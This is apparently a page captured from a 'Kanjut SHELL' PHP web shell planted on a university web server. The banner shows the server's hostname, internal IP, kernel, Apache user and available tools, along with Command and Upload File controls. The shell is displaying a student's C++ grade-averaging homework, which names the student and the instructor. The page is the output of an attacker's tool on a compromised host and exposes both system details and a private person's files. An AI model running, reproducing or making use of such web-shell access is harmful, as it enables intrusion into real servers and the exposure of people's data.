Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.191.212.146
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/snbittner/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/snbittner/hw2_212.cpp
//      CS212 CS II Assignment 2
//      Due: Mon. Feb. 21, 2011
//
//      File Name: hw2_212.cpp
//      Author: Stephanie Bittner
//      Instuctor: Dr. Wang
//
//      Compile: g++ hw2_212.cpp
//      Run: ./a.out < stuScores.txt > out.txt
//
//      Goal: The program will read students'records, and out the average 
//		for each student as well as the whole class. 
//

#include <iostream>
#include <iomanip>
using namespace std;

class Student
{
	string first;
	string last;
	int test1;
	int test2;
	int test3;
	float average;
public: 
	Student()
	{	}
	void Set(string f, string l, int t1, int t2, int t3)
	{	first = f;
		last = l;
		test1 = t1;
		test2 = t2;
		test3 = t3;
	}
	int Sum() const		
	{	int s = test1 + test2 + test3;
		return s;
	}
	float Average() const
	{
		float average = Sum() / 3.0;
		return average;
	}

 	void Print() const 
	{ 	cout << "Name: " << first << " " << last << ", "
			<< test1 << ", " << test2 << ", " << test3 
			<< ", Average: " << Average() << "\n";
	}
};

int main()
{ 
	cout << fixed << showpoint << setprecision(2);

	Student stu;
	
	string s1, s2;
	int t1, t2, t3;
	int sum = 0;
	float avg = (t1 + t2 + t3)/3;
	float total_avg = 0.0;
	int line = 0;

	cin >> s1 >> s2 >> t1 >> t2 >> t3;
	stu.Set(s1, s2, t1, t2, t3);

	while(cin)
	{
		line ++; 	
		total_avg += stu.Average();
		
		stu.Print();
		
		cin >> s1 >> s2 >> t1 >> t2 >> t3;
       		stu.Set(s1, s2, t1, t2, t3);
        	
	}
		cout << "Total class average: " << total_avg / line << endl;
	return 0;
}

Stv3n404 - 2023